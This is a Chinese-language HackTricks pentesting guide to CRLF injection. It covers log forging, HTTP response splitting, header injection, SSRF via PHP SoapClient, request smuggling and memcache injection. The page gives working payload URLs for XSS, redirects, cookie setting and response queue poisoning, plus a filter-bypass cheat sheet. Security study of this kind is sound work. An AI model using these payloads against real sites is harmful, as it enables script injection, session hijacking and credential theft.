hacktricks/pentesting-web/crlf-0d-0a.md

243 lines
15 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# CRLF (%0D%0A)注入
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 推特 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗想要在HackTricks中看到你的**公司广告**吗?或者你想要**获取PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram群组**](https://t.me/peass) 或 **关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享你的黑客技巧。**
</details>
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
如果你对**黑客职业**感兴趣并想要攻破不可攻破的东西- **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
## 什么是CRLF
当浏览器向Web服务器发送请求时Web服务器会回复一个包含HTTP响应头和实际网站内容即响应体的响应。HTTP头和HTML响应网站内容由特定的特殊字符组合分隔即回车和换行符。简称为CRLF。
Web服务器使用CRLF来理解新的HTTP头开始和另一个HTTP头结束的位置。CRLF还可以告诉Web应用程序或用户文件或文本块中的新行开始。CRLF字符是标准的HTTP/1.1消息因此任何类型的Web服务器都使用它包括Apache、Microsoft IIS和其他所有服务器。\
来自[https://www.netsparker.com/blog/web-security/crlf-http-header/#](https://www.netsparker.com/blog/web-security/crlf-http-header/)
### 什么是CRLF注入漏洞
在CRLF注入漏洞攻击中攻击者将回车和换行符插入用户输入以欺骗服务器、Web应用程序或用户认为一个对象已终止并开始另一个对象。因此CRLF序列不是恶意字符但它们可以用于恶意目的例如HTTP响应拆分等。
## Web应用程序中的CRLF注入
在Web应用程序中CRLF注入可能会产生严重影响具体取决于应用程序对单个项目的处理方式。影响可能从信息泄露到代码执行直接影响Web应用程序安全漏洞。实际上CRLF注入攻击可能对Web应用程序产生非常严重的后果即使它从未出现在OWASP Top 10列表中。例如可以在下面的示例中解释如何操纵管理员面板中的日志文件。
#### 日志文件中CRLF注入的示例
想象一下一个管理员面板中有一个日志文件其输出流模式为IP - 时间 - 访问路径,如下所示:
```
123.123.123.123 - 08:15 - /index.php?page=home
```
如果攻击者能够将CRLF字符注入到HTTP请求中他就能够改变输出流并伪造日志条目。他可以将Web应用程序的响应更改为以下内容
```
/index.php?page=home&%0d%0a127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
%0d and %0a是CR和LF的URL编码形式。因此当攻击者插入这些字符并应用程序显示时日志条目将如下所示
IP - 时间 - 访问路径
```
123.123.123.123 - 08:15 - /index.php?page=home&
127.0.0.1 - 08:15 - /index.php?page=home&restrictedaction=edit
```
因此通过利用CRLF注入漏洞攻击者可以伪造日志文件中的条目以掩盖自己的恶意行为。攻击者实际上是在进行页面劫持并修改响应。例如想象一种情况攻击者拥有管理员密码并执行了restrictedaction参数该参数只能由管理员使用。
问题在于如果管理员注意到一个未知的IP使用了restrictedaction参数就会意识到有问题。然而由于现在看起来像是命令是由本地主机发出的因此可能是有服务器访问权限的人比如管理员这看起来并不可疑。
查询的整个部分,从%0d%0a开始的部分将被服务器作为一个参数处理。之后还有一个&符号带有restricted action参数服务器将将其解析为另一个参数。实际上这将是与以下查询相同的查询
```
/index.php?page=home&restrictedaction=edit
```
### HTTP响应拆分
#### 描述
由于HTTP响应的头部和主体之间由CRLF字符分隔攻击者可以尝试注入这些字符。CRLFCRLF的组合将告诉浏览器头部结束主体开始。这意味着攻击者现在可以在响应主体中写入数据其中存储了HTML代码。这可能导致跨站脚本漏洞。
#### HTTP响应拆分导致XSS的示例
想象一个设置自定义头部的应用程序,例如:
```
X-Your-Name: Bob
```
标题的值是通过一个名为"name"的get参数设置的。如果没有进行URL编码并且该值直接反映在标题中攻击者可能会插入上述的CRLFCRLF组合以告诉浏览器请求体的开始。这样他就能够插入诸如XSS有效负载的数据例如
```
?name=Bob%0d%0a%0d%0a<script>alert(document.domain)</script>
```
上述代码将在受攻击域的上下文中显示一个警示窗口。
#### HTTP响应拆分导致重定向的示例
{% embed url="https://medium.com/bugbountywriteup/bugbounty-exploiting-crlf-injection-can-lands-into-a-nice-bounty-159525a9cb62" %}
浏览器跳转至:
```
/%0d%0aLocation:%20http://myweb.com
```
然后服务器响应的头部是:
```
Location: http://myweb.com
```
**其他示例:(来自** [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)****
```
http://www.example.com/somepage.php?page=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2025%0d%0a%0d%0a%3Cscript%3Ealert(1)%3C/script%3E
```
#### 在URL路径中
您可以将负载**放在URL路径中**,以控制服务器的**响应**
```
http://stagecafrstore.starbucks.com/%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
http://stagecafrstore.starbucks.com/%3f%0D%0ALocation://x:1%0D%0AContent-Type:text/html%0D%0AX-XSS-Protection%3a0%0D%0A%0D%0A%3Cscript%3Ealert(document.domain)%3C/script%3E
```
{% embed url="https://github.com/EdOverflow/bugbounty-cheatsheet/blob/master/cheatsheets/crlf.md" %}
### HTTP头注入
#### 描述
通过利用CRLF注入攻击者还可以插入HTTP头这可能用于破坏安全机制如浏览器的XSS过滤器或同源策略。这使得攻击者可以获取敏感信息如CSRF令牌。他还可以设置Cookie这可能被利用来登录受害者的帐户或者利用其他无法利用的[跨站脚本XSS漏洞](https://www.netsparker.com/blog/web-security/cross-site-scripting-xss/)。
#### 一个用于提取敏感数据的HTTP头注入示例
如果攻击者能够注入激活CORS跨域资源共享的HTTP头他可以使用JavaScript访问受同源策略SOP保护的资源该策略防止不同源的站点相互访问。
### 在SSRF中创建新的HTTP请求
利用CRLF注入您可以**构造一个新的HTTP请求并注入**它。\
一个很好的例子是使用PHP中的`SoapClient`反序列化工具。这个类在`user_agent`参数中**容易受到CRLF注入**的漏洞,允许**插入新的头部和正文内容**。然而,您甚至可以利用这个漏洞来**注入一个新的HTTP请求**
```php
$target = 'http://127.0.0.1:9090/test';
$post_string = 'variable=post value';
$crlf = array(
'POST /proxy HTTP/1.1',
'Host: local.host.htb',
'Cookie: PHPSESSID=[PHPSESSID]',
'Content-Type: application/x-www-form-urlencoded',
'Content-Length: '.(string)strlen($post_string),
"\r\n",
$post_string
);
$client = new SoapClient(null,
array(
'uri'=>$target,
'location'=>$target,
'user_agent'=>"IGN\r\n\r\n".join("\r\n",$crlf)
)
);
#Put a nc listening in port 9090
$client->__soapCall("test", []);
```
### 请求劫持进行请求走私
您可以注入必要的标头,以确保**后端在响应初始请求后保持连接打开**
```
GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0a HTTP/1.1
```
然后,**指定第二个请求**。这里有一个经典的[**请求走私**](http-request-smuggling/),服务器在注入后附加了**额外的**头部/主体。
以下是两种跨用户利用的选项。
指定一个**恶意前缀**以污染下一个用户的请求或者一个Web缓存
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/redirplz%20HTTP/1.1%0d%0aHost:%20oastify.com%0d%0a%0d%0aContent-Length:%2050%0d%0a%0d%0a HTTP/1.1`
或者通过构造前缀与尾部垃圾组合,创建一个完整的第二个请求,以触发**响应队列污染**。
`GET /%20HTTP/1.1%0d%0aHost:%20redacted.net%0d%0aConnection:%20keep-alive%0d%0a%0d%0aGET%20/%20HTTP/1.1%0d%0aFoo:%20bar HTTP/1.1`
有关此技术和潜在问题的更多信息,请[**查看原始来源**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)。
### Memcache注入
Memcache是一个使用明文协议的**键值存储**。更多信息请参考:
{% content-ref url="../network-services-pentesting/11211-memcache/" %}
[11211-memcache](../network-services-pentesting/11211-memcache/)
{% endcontent-ref %}
如果一个平台从HTTP请求中获取数据并在未经过消毒的情况下使用它来执行对memcache服务器的请求攻击者可以利用这种行为来**注入新的memcache命令**。
例如在最初发现的漏洞中缓存键被用于返回用户应连接到的IP和端口攻击者能够**注入memcache命令**,以便将受害者的详细信息(包括用户名和密码)发送到攻击者的服务器:
<figure><img src="../.gitbook/assets/image (6) (1).png" alt=""><figcaption></figcaption></figure>
此外研究人员还发现他们可以解除memcache响应将攻击者的IP和端口发送给攻击者不知道其电子邮件的用户
<figure><img src="../.gitbook/assets/image (40).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/image (39).png" alt=""><figcaption></figcaption></figure>
**要获取完整信息,请阅读**[**原始报告**](https://www.sonarsource.com/blog/zimbra-mail-stealing-clear-text-credentials-via-memcache-injection/)。
## CRLF注入漏洞的影响
CRLF注入的影响各不相同还包括所有跨站脚本攻击和信息泄露的影响。它还可以禁用受害者浏览器中的某些安全限制如XSS过滤器和同源策略使其容易受到恶意攻击。
### 如何预防Web应用中的CRLF / HTTP头注入
最佳的预防技术是不直接在响应头中使用用户输入。如果不可能应始终使用函数对CRLF特殊字符进行编码。另一个良好的Web应用程序安全最佳实践是将编程语言更新到不允许在设置HTTP头的函数中注入CR和LF的版本。
### CHEATSHEET
```
1. HTTP Response Splitting
• /%0D%0ASet-Cookie:mycookie=myvalue (Check if the response is setting this cookie)
2. CRLF chained with Open Redirect
• //www.google.com/%2F%2E%2E%0D%0AHeader-Test:test2
• /www.google.com/%2E%2E%2F%0D%0AHeader-Test:test2
• /google.com/%2F..%0D%0AHeader-Test:test2
• /%0d%0aLocation:%20http://example.com
3. CRLF Injection to XSS
• /%0d%0aContent-Length:35%0d%0aX-XSS-Protection:0%0d%0a%0d%0a23
• /%3f%0d%0aLocation:%0d%0aContent-Type:text/html%0d%0aX-XSS-Protection%3a0%0d%0a%0d%0a%3Cscript%3Ealert%28document.domain%29%3C/script%3E
4. Filter Bypass
• %E5%98%8A = %0A = \u560a
• %E5%98%8D = %0D = \u560d
• %E5%98%BE = %3E = \u563e (>)
• %E5%98%BC = %3C = \u563c (<)
• Payload = %E5%98%8A%E5%98%8DSet-Cookie:%20test
```
## 工具
{% embed url="https://github.com/dwisiswant0/crlfuzz" %}
## 暴力破解检测列表
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/crlf.txt" %}
## 参考资料
* [**https://www.acunetix.com/websitesecurity/crlf-injection/**](https://www.acunetix.com/websitesecurity/crlf-injection/)
* [**https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning**](https://portswigger.net/research/making-http-header-injection-critical-via-response-queue-poisoning)
<img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt="" data-size="original">
如果您对**黑客职业**感兴趣并想要攻击不可攻破的目标 - **我们正在招聘!**(需要流利的波兰语书面和口语表达能力)。
{% embed url="https://www.stmcyber.com/careers" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗?或者您想要访问**PEASS的最新版本或下载PDF格式的HackTricks**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获得[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass),或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>